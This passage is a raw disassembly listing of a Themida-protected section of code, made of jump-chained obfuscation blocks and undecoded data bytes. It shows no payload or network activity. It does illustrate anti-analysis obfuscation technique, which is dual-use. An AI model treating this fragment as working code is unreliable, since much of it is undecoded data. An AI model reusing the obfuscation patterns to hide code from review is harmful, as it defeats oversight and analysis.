		dd 2804C483h, 5BBF2CF8h, 0C7885352h, 1C8BFA88h,	4C48324h
		dd 88D08850h, 585A58C1h, 5966C828h, 7FE56866h, 24148966h
		dd 317E9h
		db 0
byte_56D451	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0055DF34o
		dd 4EC8324h, 54241C89h,	83241C8Bh, 0EC8304C4h, 240C8904h
		dd 0FFA3CFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56D46D:				; CODE XREF: Themida_:00569DCFj
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		push	ecx
		mov	ecx, 4
		mov	edx, ecx
		jmp	loc_56EE45
; ---------------------------------------------------------------------------


loc_56D482:				; CODE XREF: Themida_:00562089j
		mov	esi, 1F333E8Ch
		jmp	loc_55FC83
; ---------------------------------------------------------------------------
		dd 24148966h, 0E99C5066h, 0FFFF3B1Ah, 3508E8C1h, 13DACh
		dd 0FF7DD0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56D4A5:				; CODE XREF: Themida_:005635B2j
		add	edx, edi
		sub	edx, 61EC771Fh
		pop	edi
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		jmp	loc_567FFB
; ---------------------------------------------------------------------------
		db 68h,	2Eh, 78h
		dd 2C890000h, 6EE95224h, 81000036h, 8F7AE2F7h, 2718E92Ch
		dd 74FF0000h, 4DE90424h, 54000033h, 0BB53565Ah,	35CF3B44h
		dd 62BD68h, 242C8900h, 6F30B850h, 0BABD1995h, 2991F9D7h
		dd 90AFE9C5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D502:				; CODE XREF: Themida_:0056CDB9j
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		sub	edi, 1
		jmp	loc_56E69B
; ---------------------------------------------------------------------------


loc_56D516:				; CODE XREF: Themida_:0056F13Fj
		push	esp
		pop	edi
		add	edi, 4
		push	5FA2h
		mov	[esp], eax
		mov	eax, 4F4B1A5Dh
		sub	eax, 4F4B1A59h
		jmp	loc_55ED56
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 46h
		dd 8176B36Ch, 5D0D0BEAh, 0C2015D77h, 0FF5736E9h
		db 0FFh
byte_56D549	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:0055DF50o
		dd 81E95324h
		db 46h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D553:				; CODE XREF: Themida_:00562BF1j
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_5666E8
; ---------------------------------------------------------------------------


loc_56D55D:				; CODE XREF: Themida_:005696BDj
		mov	[esp], edx
		mov	dh, 73h
		neg	dh
		sub	dh, 74h
		inc	dh
		or	dh, 36h
		xor	dh, 74h
		sub	bl, 19h
		sub	bl, 95h
		sub	bl, dh
		add	bl, 95h
		add	bl, 19h
		mov	edx, [esp]
		add	esp, 4
		sub	bl, al
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		sub	eax, 4
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		jmp	loc_56996A
; ---------------------------------------------------------------------------
		dw 0EDC1h
		dd 0D2BE5602h, 0C1639E15h, 0B9E905EEh, 68FFFFBEh, 82D5E9Ah
		dd 582434FFh, 6804C483h, 2CDCh,	0BA241489h, 46C8186Ah
		dd 0DAF7DAF7h, 50F28142h, 2D5C3F44h, 32BA2B7Ah,	0FF4347E9h
		dd 58C609FFh, 1DF7F681h, 0F329405Fh, 0FF3D9BE9h, 8B5857FFh
		dd 0C481243Ch, 4, 0B80ABD2Dh, 4E8C154h,	19BD5557h, 0F7456051h
		dd 0BDB6E9DDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D612:				; CODE XREF: Themida_:0055FB08j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_570402
; ---------------------------------------------------------------------------


loc_56D624:				; CODE XREF: Themida_:0056CAFAj
		pop	edx
		jmp	loc_568914
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 8102C383h, 4ECh, 0FDA7E900h, 0BB53FFFFh, 50C87197h
		dd 0F1C38143h, 8167DB49h, 5C447BC3h, 5BDE0147h,	4EE81h
		dd 34870000h, 34895C24h, 29FAE924h, 535DFFFFh, 5D3FAABBh
		dd 0EFDE928h, 50660000h, 0A25E99Ch, 0F829FFFFh,	83243C8Bh
		dd 0C20104C4h, 0FF1F4DE9h, 2092B6FFh, 805A66F5h, 0EB2068C5h
		dd 81240C8Bh, 4C4h, 79EB8000h, 14CEE9h
		db 0
; ---------------------------------------------------------------------------


loc_56D6A5:				; CODE XREF: Themida_:0056E32Aj
		mov	ecx, 6AC21E73h
		jmp	loc_560C8B
; ---------------------------------------------------------------------------


loc_56D6AF:				; CODE XREF: Themida_:0056DDEFj
		add	edx, 548447D5h
		mov	esi, [esp]
		add	esp, 4
		sub	edx, 4
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		jmp	loc_569C53
; ---------------------------------------------------------------------------


loc_56D6CB:				; CODE XREF: Themida_:00564DFCj
		xor	ecx, edi
		xor	edi, ecx
		not	ecx
		xchg	ecx, edi
		jmp	loc_56B346
; ---------------------------------------------------------------------------
		dd 0FFFFEE81h, 0DEF7FFFFh, 52BE68h, 24048900h, 320ACEB8h
		dd 0BA4DE90Bh, 0C483FFFFh, 5D045904h, 5314E9h
		db 0
; ---------------------------------------------------------------------------


loc_56D6FD:				; CODE XREF: Themida_:005643BBj
		sub	dh, 65h
		sub	dh, 68h
		jmp	loc_566B90
; ---------------------------------------------------------------------------
		dd 9AE97EB4h, 81FFFFB5h, 4C4h, 70306800h, 34890000h, 0BAD4E924h
		dd 2489FFFFh, 24048124h, 4, 5024048Fh, 4B8h, 24440100h
		dd 44E95804h
		db 0B6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D73F:				; CODE XREF: Themida_:0056C443j
		xor	esi, 0BE8A9C96h
		mov	edi, esi
		pop	esi
		add	eax, edi
		jmp	loc_560C67
; ---------------------------------------------------------------------------
		db 80h
		dd 5066ECEAh, 0C208C9B0h, 0F2805866h, 5AD1886Ch, 0E9FBB450h
		dd 0FFFF1C6Fh, 3FEA68h,	240C8900h, 0DDE911B5h
		db 44h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56D777:				; CODE XREF: Themida_:00566455j
		push	60DEh
		jmp	loc_56FEDA
; ---------------------------------------------------------------------------
		db 0C1h, 0EAh, 7
		dd 5976EA81h, 0D509E9BBh, 0A967E95Ah, 5750FFFFh, 5424E950h
		dd 0CE80FFFFh, 0C9EE808Ch, 0FF2FE7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56D7A5:				; CODE XREF: Themida_:0056EFD7j
		and	ebx, 3ACA5F10h
		push	3A3Ah
		jmp	loc_572314
; ---------------------------------------------------------------------------


loc_56D7B5:				; CODE XREF: Themida_:0056CFD9j
		pop	eax
		xchg	ebp, [esp]
		jmp	loc_56C1EA
; ---------------------------------------------------------------------------
		dw 835Ah
		dd 0FF5104C4h, 59042474h, 8B24048Fh, 21E92424h,	81FFFFC4h
		dd 4ECh, 243C8900h, 0FFAEB7E9h,	37E958FFh, 83000030h, 0DAF704C4h
		dd 0E904EAC1h, 23E2h
dword_56D7F4	dd 9703E9ACh		; DATA XREF: Themida_:0055DE94o
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D7FA:				; CODE XREF: Themida_:0055F102j
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esp
		jmp	loc_561EA1
; ---------------------------------------------------------------------------
		dw 159h
		dd 0F06858C1h, 89000001h, 74FF240Ch, 0C8B0424h,	46DCE924h
		dd 34FFFFFFh, 0C4835D24h, 241C8B04h, 4109E951h,	5A04FFFFh
		dd 29E0E9h, 0FCE95000h
		db 0BBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D84F:				; CODE XREF: Themida_:0056CEA6j
		push	edx
		mov	edx, 67628C1h
		sub	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_568BB1
; ---------------------------------------------------------------------------


loc_56D86C:				; CODE XREF: Themida_:00569B3Aj
		mov	[esp], ebx
		mov	ebx, 451C54A0h
		xor	ebx, 2E5F4C62h
		mov	edx, 6B4398C2h
		xor	edx, ebx
		pop	ebx
		and	eax, edx
		pop	edx
		or	eax, eax
		jz	loc_570C5D
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_57178A
; ---------------------------------------------------------------------------
		dw 0CF81h
		dd 427C2EE1h, 8106EFC1h, 39A769F7h, 5FFE0911h, 0C0ABB53h
		dd 0E3C15C27h, 2485E902h, 0DE680000h, 89000010h, 0E0892404h
		dd 6E3A68h, 243C8900h, 0A31CAFBFh, 0FFC78131h, 81FFFFFFh
		dd 0E03098C7h, 5D69E917h, 8B66FFFFh, 0EC81241Ch, 4, 0FF844DE9h
		dd 4335CFFh, 24043124h,	8B240433h, 24D32424h, 94E99C24h
		dd 51FFFF07h, 34AEE950h, 0E7890000h, 4C781h, 0EF830000h
		dd 243C8704h, 241C895Ch, 468h, 0DA015B00h, 0ADBB535Bh
		dd 81004B09h, 0B4F657C3h, 8BDA01FFh, 0C483241Ch, 4EC8304h
		dd 0FF241489h, 5A042474h, 5C24048Fh, 0FFB512E9h
		db 0FFh
byte_56D955	db 0ADh, 0E9h, 1Dh	; DATA XREF: Themida_:0055DE6Co
		db 4Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56D95B:				; CODE XREF: Themida_:0055FC88j
		add	esp, 4
		add	esi, 18134156h
		xor	esi, 17D50AEh
		or	esi, 1984578Ah
		jmp	loc_571E70
; ---------------------------------------------------------------------------
		dd 81242C8Bh, 4C4h, 0DC3FE900h,	0C829FFFFh, 81240C8Bh
		dd 4C4h, 0D1D6800h, 2C890000h, 0DA67E924h, 0CB29FFFFh
		dd 0BE564B59h, 2A36BECh, 5B5BCE81h, 0EEC15D95h,	0BEEE8104h
		dd 0E9E1EAADh, 0FFFFAC7Ah, 4EC835Fh, 0BB241C89h, 47863E05h
		dd 0A0BA524Bh, 0E90DC40Ch, 0FFFF71F1h
; ---------------------------------------------------------------------------


loc_56D9D4:				; CODE XREF: Themida_:00569715j
		pop	edx
		jmp	loc_567E1B
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 51240489h, 4D442F68h, 0F9E95968h
		db 0A3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56D9EF:				; CODE XREF: Themida_:0056DC93j
		add	ebp, 4
		jmp	loc_567474
; ---------------------------------------------------------------------------
		dw 0C89h
aH9		db '$h+9',0
		align 2
		dw 489h
aQiRs		db '$QˆÑRéÑ',0Dh,0
		align 2
		dw 8353h
		dd 148904ECh, 0E9E8B224h, 0FFFF43CFh, 7C3E6856h, 2F680000h
		dd 89000063h, 0A2E92424h
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DA2F:				; CODE XREF: Themida_:005635C0j
		pop	ecx
		push	ebx
		mov	ebx, 0CF6ADE4Bh
		jmp	loc_56CF4B
; ---------------------------------------------------------------------------
		dd offset dword_53C858+310h
		align 10h
		dd 235DE9h, 5EF02100h, 0C6012625h, 4E0C105h, 0FF3112E9h
		dd 241C33FFh, 0FF56D8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56DA5D:				; CODE XREF: Themida_:00563B1Fj
		add	esp, 4
		push	ebp
		jmp	loc_568834
; ---------------------------------------------------------------------------
word_56DA66	dw 77FFh		; DATA XREF: Themida_:0055DFD0o
		dd 58669D1Ch, 24041166h, 629E99Ch, 0D901FFFFh, 81F9015Bh
		dd 0B12C79E9h, 243C8B77h, 0E9E08950h, 0FFFF3BF8h, 981B63BFh
		dd 2635E94Ah, 0F168FFFFh, 594B9828h, 0F181D1F7h, 0B6AF93D0h
		dd 4259CA89h, 0E2C1D2F7h, 3C875207h, 5197E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56DAB6:				; CODE XREF: Themida_:0055EC10j
		add	esp, 4
		pop	esi
		not	esi
		sub	esp, 4
		mov	[esp], edx
		push	63EFh
		jmp	loc_55E7B9
; ---------------------------------------------------------------------------
		dw 0D3F7h
		dd 69CB8143h, 0E90DC160h, 0FFFF7321h
; ---------------------------------------------------------------------------


loc_56DAE0:				; CODE XREF: Themida_:00562C6Cj
		add	ebx, eax
		jmp	loc_55FF7F
; ---------------------------------------------------------------------------
		db 89h
		dd 5EB9240Ch, 8161D653h, 0D35C55C3h, 81CB2962h,	0D35C55EBh
		dd 240C8B62h, 30668h, 24148900h, 0C281E289h, 4,	0E904C283h
		dd 0FFFF7295h, 0E924148Bh, 0FFFF2E7Bh, 4EC81h, 0C890000h
		dd 68E18924h, 2B78h, 0BB241C89h, 4, 0FF2F16E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56DB3D:				; CODE XREF: Themida_:00572905j
		sub	eax, 50A460BFh
		jmp	loc_55FC62
; ---------------------------------------------------------------------------
		db 55h
		dd 0E7815D5Fh, 3455550Dh, 6D1C781h, 0FA212D8Ah,	9C17E95Fh
		dd 5152FFFFh, 5B4204B9h, 7E9C10Ah, 957BC181h, 0CA890DECh
		dd 0D2F74A59h, 8103EAC1h, 3651EBEAh, 0DAF74A63h, 62BB951h
		dd 0D9F7559Bh, 209FE9h,	4C18100h, 81000000h, 4E9h, 240C8700h
		dd 242C895Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_56EE6A
; ---------------------------------------------------------------------------
		dd 81E28952h, 4C2h, 4C28300h, 2474FF52h, 76DEE904h, 5F54FFFFh
		dd 1407B951h, 0F1812AFCh, 2AFC1403h, 5BEC781h, 0C2E91BD1h
		dd 50FFFF40h, 1A28A4B8h, 4F2E912h, 0EB81FFFFh, 80EFD2CCh
		dd 0FF105EE9h, 4EC81FFh, 89000000h, 74FF242Ch, 8F5D0424h
		dd 0DDE92404h, 81FFFFB7h, 4C3h,	4EC8100h, 89000000h, 7DE9243Ch
		db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DC17:				; CODE XREF: Themida_:00563E11j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	dword ptr [esp+4]
		jmp	loc_56F5F9
; ---------------------------------------------------------------------------
byte_56DC27	db 66h			; DATA XREF: Themida_:0055DF58o
		dd 5524048Bh, 242C8B54h, 432DE9h, 53E58900h, 3815E952h
		dd 0EB290000h, 5D2434FFh, 6604C483h, 6824148Bh,	27AEh
		dd 89241C89h, 0C1BE56E3h, 817F1F12h, 0FC7515CEh, 27E68171h
		dd 8149907Dh, 8F4EAEC6h, 57DEF74Dh, 1BFh, 0A4F6E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DC7A:				; CODE XREF: Themida_:00571DCAj
		push	66E1h
		jmp	loc_562C9B
; ---------------------------------------------------------------------------


loc_56DC84:				; CODE XREF: Themida_:00570731j
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		jmp	loc_56D9EF
; ---------------------------------------------------------------------------


loc_56DC98:				; CODE XREF: Themida_:0056F62Aj
		inc	ebp
		not	ebp
		not	ebp
		push	2C43h
		mov	[esp], ebx
		mov	ebx, 749F3259h
		shl	ebx, 5
		not	ebx
		shr	ebx, 8
		dec	ebx
		xor	ebx, 579B0782h
		add	ebx, 0AA87B0F3h
		sub	ebp, ebx
		pop	ebx
		sub	ebx, ebp
		pop	ebp
		jmp	loc_560621
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 24B45024h, 0E3E9D5B1h, 0B5FFFFDEh, 59EB28E6h, 8B2434FFh
		dd 0C4812414h, 4, 0FFD8B4E9h
		db 0FFh
byte_56DCED	db 0FFh, 34h, 24h	; DATA XREF: Themida_:0055DF68o
		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		jmp	loc_568FBD
; ---------------------------------------------------------------------------
		db 81h
		dd 65E017C6h, 5EF70152h, 0BB53DF01h, 52F83608h,	0EC38143h
		dd 29FCE72Fh, 483AE9DFh, 71B10000h, 0FF5595E9h,	2434FFFFh
		dd 4C4835Bh, 0C019B151h, 5FE904E1h, 89FFFFCAh, 5D54242Ch
		dd 4C581h, 0C5830000h, 242C8704h, 50C3005Ch, 0C38048B4h
		dd 1EEB8030h, 0C380E328h, 30EB801Eh, 8324048Bh,	0B60F04C4h
		dd 48F66C0h, 329E987h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DD76:				; CODE XREF: Themida_:00565785j
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_56C3C9
; ---------------------------------------------------------------------------
		dw 285Bh
		dd 59F804E8h, 972C1504h, 9704C828h, 15B05052h, 86E95153h
		dd 83FFFF2Eh, 5F042404h, 2781B850h, 85353299h, 1329927h
		dd 0C78358C7h, 0ED03E904h, 0E95CFFFFh, 22C3h, 535ED3BEh
		dd 74E95566h, 89FFFF0Eh, 0B211E9E5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56DDD2:				; CODE XREF: Themida_:00568841j
		not	edi
		xchg	edi, ebp
		xor	ebp, 3AA31022h
		add	ebp, 81196793h
		sub	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	edx, esi
		jmp	loc_56D6AF
; ---------------------------------------------------------------------------
		dd 3A5943B8h, 2C74E91Ch, 0BB53FFFFh, 4,	0C0E9DF01h, 89FFFF95h
		dd 55B3241Ch, 18C180h, 18E980D9h, 8BC8285Bh, 0C483240Ch
		dd 68665204h, 18E9655Ch, 57FFFF06h, 4BFh, 5FF92900h, 31240C33h
		dd 75E9240Ch, 0D1FFFF42h, 74F381E3h, 12DB805h, 0BA525BD9h
		dd 4, 79E9D101h, 68000010h, 4FBFh, 0BB241C89h, 6D7B6193h
		dd 0E7DEB81h, 0E3812FABh, 36DF4DC2h, 0DDF8EB81h, 8E9B867h
		dd 0BFFFFFBFh, 2, 0E95FFB89h, 0FFFF7221h, 0D5F7E987h, 3FC6E9h
		dd 0E0895000h, 6EBABD55h, 0E5C12C7Ah, 0CD814D05h, 10FF3AE3h
		dd 0E945DDF7h, 2BEAh, 4BFh, 0E9FA2900h,	0FFFF3B75h, 0C7815F54h
		dd 4, 4C781h, 3C870000h, 24248B24h, 4685652h, 5E000000h
		dd 24348156h, 66066AAEh, 0AEF2815Ah, 5E66066Ah,	0FF35C4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56DEE9:				; CODE XREF: Themida_:0056BE73j
		pop	esp
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_56DEEF:				; CODE XREF: Themida_:0057176Aj
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		or	eax, eax
		jz	loc_55E567
		push	dword ptr [edi+1Ch]
		jmp	loc_56EA05
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4C4835Dh, 8B24048Fh,	0F662424h, 9C2404BBh, 0FFC839E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56DF21:				; CODE XREF: Themida_:005705C3j
		sub	dword ptr [esp+8], 575A5B70h
		jmp	loc_57225B
; ---------------------------------------------------------------------------


loc_56DF2E:				; CODE XREF: Themida_:0056EC5Ej
		mov	edx, esp
		add	edx, 4
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	ebx, eax
		jmp	loc_565102
; ---------------------------------------------------------------------------


loc_56DF51:				; CODE XREF: Themida_:0056CF77j
		add	edi, eax
		mov	eax, [esp]
		jmp	loc_55FD36
; ---------------------------------------------------------------------------
		db 89h
		dd 0C20159C8h, 0E7D5E958h, 2D95FFFFh, 0FFFFFFFFh, 5EDC195h
		dd 0B419F581h, 0FC0513B0h, 112EE40h, 40FC2DE8h,	8B5D12EEh
		dd 0E268241Ch, 0E9000069h, 0FFFF4265h
; ---------------------------------------------------------------------------


loc_56DF90:				; CODE XREF: Themida_:0056D1BEj
		mov	[esp], eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		jmp	loc_562E27
; ---------------------------------------------------------------------------
		dd 5D04C483h, 14B4E9h, 19E12D00h, 41E9073Dh, 1FFFF0Ch
		dd 0BB535BDEh, 2EEB56D7h, 0FFDC93E9h, 0E3805FFh, 0D00103F3h
		dd 0F30E382Dh, 2434FF03h, 4C4835Ah, 5D57612Dh, 0C2BB5306h
		dd 0E96F2D50h, 0FFFF1E35h
; ---------------------------------------------------------------------------


loc_56DFE4:				; CODE XREF: Themida_:005676F2j
		mov	[esp], edx
		pop	dword ptr [edi+20h]
		jmp	loc_561A3A
; ---------------------------------------------------------------------------


loc_56DFEF:				; CODE XREF: Themida_:005640EBj
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	ecx
		jmp	loc_565F36
; ---------------------------------------------------------------------------


loc_56DFFC:				; CODE XREF: Themida_:005616B0j
		pop	ebx
		add	edx, 30B0995h
		sub	edx, esi
		sub	edx, 30B0995h
		pop	esi
		jmp	loc_563613
; ---------------------------------------------------------------------------
		db 66h,	0D3h, 0Ch
aSd		db '$œé„',0
		db 2 dup(0FFh),	59h
		dd 4C481h, 3C870000h, 24248B24h, 0B068F9F7h, 89000015h
		dd 63E92414h
		db 0F3h, 2 dup(0FFh)
byte_56E037	db 0ADh			; DATA XREF: Themida_:0055DE90o
		dd 0DC591005h, 47190524h, 57054E2Dh, 2957FB45h,	3B49E9D8h
		dd 0C1890000h, 0C5F4E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E056:				; CODE XREF: Themida_:00572145j
		sub	[esp+8], ebp
		jmp	loc_5638CF
; ---------------------------------------------------------------------------
		db 5Dh
		dd 5D595551h, 0FF300BE9h, 6EE581FFh, 8114D532h,	0E12CEBEDh
		dd 2ED816Ah, 81095706h,	83356ACDh, 19BAE93Eh, 0E7C1FFFFh
		dd 22C1E908h, 0D1F70000h, 0FFA7BDE9h, 6D02B9FFh, 0F7493826h
		dd 36BF57D1h, 0E9540573h, 1A72h, 5F4868h, 240C8900h, 0FF2D51E9h
		dd 5AACBAFFh, 0D6293F89h, 0FFAE59E9h, 0A0C680FFh, 885AF188h
		dd 0EB8059CBh, 0C3C380CCh, 249FE9h
		db 0
; ---------------------------------------------------------------------------


loc_56E0D5:				; CODE XREF: Themida_:005692D4j
		mov	edi, 4
		sub	ebp, 3BAD527Ah
		jmp	loc_56E561
; ---------------------------------------------------------------------------
		db 0B7h, 5, 52h
		dd 0F28080B2h, 0E9CAFE9Fh, 3C44h
; ---------------------------------------------------------------------------


loc_56E0F4:				; CODE XREF: Themida_:00567B95j
		xor	ecx, 0A8905BA8h
		sub	ebx, 65A16606h
		sub	ebx, ecx
		jmp	loc_56492E
; ---------------------------------------------------------------------------


loc_56E107:				; CODE XREF: Themida_:0056E4FCj
		inc	esi
		xor	esi, 0B689CD08h
		add	edi, 6F7043F1h
		jmp	loc_56369A
; ---------------------------------------------------------------------------
		db 8Bh,	34h, 24h
		dd 0FF14C8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56E121:				; CODE XREF: Themida_:0055F0EEj
		push	eax
		mov	eax, 0B6A013Fh
		sub	ebx, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		shl	ebx, 3
		push	272Ah
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	ecx
		push	esi
		push	29201E85h
		pop	esi
		shl	esi, 2
		dec	esi
		add	esi, 76A3BC67h
		jmp	loc_56E444
; ---------------------------------------------------------------------------


loc_56E15D:				; CODE XREF: Themida_:00566692j
		push	ebx
		jmp	loc_571F4F
; ---------------------------------------------------------------------------
		db 29h
		dd 30AE9C1h
		db 2 dup(0)
word_56E16A	dw 34FFh		; DATA XREF: Themida_:0055DDF8o
		dd 2434FF24h, 0FF2770E9h, 4C481FFh, 81000000h, 4ECh, 24148900h
		dd 0FFD907E9h, 5D6851FFh, 59754955h, 3EC8BE56h,	0A3E94DB6h
		dd 89FFFF9Dh, 7ABE56E3h, 4E390156h, 0FB2CE81h, 0BF570659h
		dd 1, 505FFE29h, 0FFFFFFB8h, 58C629FFh,	5055E6D1h, 8A612568h
		dd 685823h, 29000000h, 0E9582404h, 0FFFF0569h, 4C481h
		dd 0FF500000h, 58042474h, 5C24048Fh, 4BB0F66h, 0C6E99C24h
		db 0ACh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E1EF:				; CODE XREF: Themida_:005671CFj
		xor	ebp, 0E2E424h
		mov	ebx, ebp
		pop	ebp
		sub	ebp, 73C53402h
		add	ebp, ebx
		add	ebp, 73C53402h
		pop	ebx
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_569E84
; ---------------------------------------------------------------------------
		db 1, 0E8h, 8Bh
		dd 0CEE9242Ch, 0B9FFFFCBh, 6EB33B78h, 1EFE13BDh, 92D4E901h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E22E:				; CODE XREF: Themida_:0056F443j
		add	dl, ah
		mov	ax, [esp]
		add	esp, 2
		add	al, 97h
		sub	al, 0DDh
		jmp	loc_56A861
; ---------------------------------------------------------------------------


loc_56E240:				; CODE XREF: Themida_:00566089j
		mov	ebp, [esp]
		add	esp, 4
		add	esi, ecx
		pop	ecx
		push	325h
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		sar	word ptr [esp],	cl
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------
word_56E266	dw 0C8Bh		; DATA XREF: Themida_:0055DF80o
aHt6		db '$hT6',0
		align 2
		dw 2C89h
		dd 0AC82E924h, 4BFFFFFh, 1000000h, 0C875FF9h, 1A0EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E286:				; CODE XREF: Themida_:0056708Fj
		xor	ch, 37h
		or	dl, ch
		pop	ecx
		push	ecx
		sub	esp, 4
		mov	[esp], edx
		mov	dl, 1
		not	dl
		dec	dl
		jmp	loc_56CAD4
; ---------------------------------------------------------------------------
word_56E29E	dw 34FFh		; DATA XREF: Themida_:0055E044o
		dd 2434FF24h, 8B2434FFh, 35E92404h
		db 8Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E2AF:				; CODE XREF: Themida_:0056B20Aj
		sub	ecx, 0E7A3D050h
		jmp	loc_57030D
; ---------------------------------------------------------------------------
word_56E2BA	dw 77FFh		; DATA XREF: Themida_:0055DDDCo
aHf2		db '<hf2',0
		align 2
		dw 8E9h
		dd 66FFFF58h, 3056B050h, 221AE9C7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56E2D2:				; CODE XREF: Themida_:005627E5j
		mov	eax, [esp]
		add	esp, 4
		push	esi
		jmp	loc_567953
; ---------------------------------------------------------------------------


loc_56E2DE:				; CODE XREF: Themida_:00569687j
		shr	eax, 10h
		xor	eax, ecx
		jmp	loc_56BE22
; ---------------------------------------------------------------------------
		dd 5755505Ah, 0FF9C9DE9h, 0BD5550FFh, 9C42CD3h,	0FA4ADDB8h
		dd 8BE8015Ch, 83E9242Ch, 0B8FFFFBAh, 0B07AF095h, 0FFFFE0E9h
		dd 2851B4FFh, 0E95866E3h, 3C6Ch
; ---------------------------------------------------------------------------


loc_56E31C:				; CODE XREF: Themida_:00572487j
		jmp	loc_55E09F
; ---------------------------------------------------------------------------
		db 56h,	0E9h, 0B2h
		db 0AFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56E327:				; CODE XREF: Themida_:0055FD75j
		shl	edx, 1
		push	ecx
		jmp	loc_56D6A5
; ---------------------------------------------------------------------------


loc_56E32F:				; CODE XREF: Themida_:00560044j
		mov	edx, 6528E88Ah
		jmp	loc_565F44
; ---------------------------------------------------------------------------


loc_56E339:				; CODE XREF: Themida_:0056E41Bj
		xor	ebp, [esp]
		jmp	loc_569889
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 0FAE95F04h, 83000015h, 0FD8904C4h, 1C6F215Fh, 5D2434FFh
		dd 0E904C483h, 0FFFF1772h
; ---------------------------------------------------------------------------


loc_56E360:				; CODE XREF: Themida_:0056025Aj
		pop	ecx
		jmp	loc_56790E
; ---------------------------------------------------------------------------
		dw 815Fh
		dd 4C7h, 4C78100h, 0E9000000h, 0FFFF0CB3h
; ---------------------------------------------------------------------------


loc_56E378:				; CODE XREF: Themida_:00566474j
		mov	edx, esp
		add	edx, 4
		push	0D2Dh
		mov	[esp], ecx
		push	12A0h
		mov	[esp], ebp
		mov	ebp, 3A1A3259h
		sub	ebp, 1
		jmp	loc_56411D
; ---------------------------------------------------------------------------


loc_56E39D:				; CODE XREF: Themida_:00560A93j
		push	0BFF2041h
		pop	eax
		xor	eax, 0F494D36Fh
		jmp	loc_57052E
; ---------------------------------------------------------------------------
		db 51h,	89h, 0E1h
		dd 4C181h, 0E9520000h, 1C0Dh, 70C6815Bh, 4E505210h, 0CAE9504Eh
		dd 0C1FFFFBCh, 0B4E904EAh, 47FFFFAEh, 2D91E9h
		db 0
; ---------------------------------------------------------------------------


loc_56E3D9:				; CODE XREF: Themida_:0056F0C9j
		pop	eax
		sub	esp, 4
		mov	[esp], eax
		push	48EDh
		mov	[esp], edi
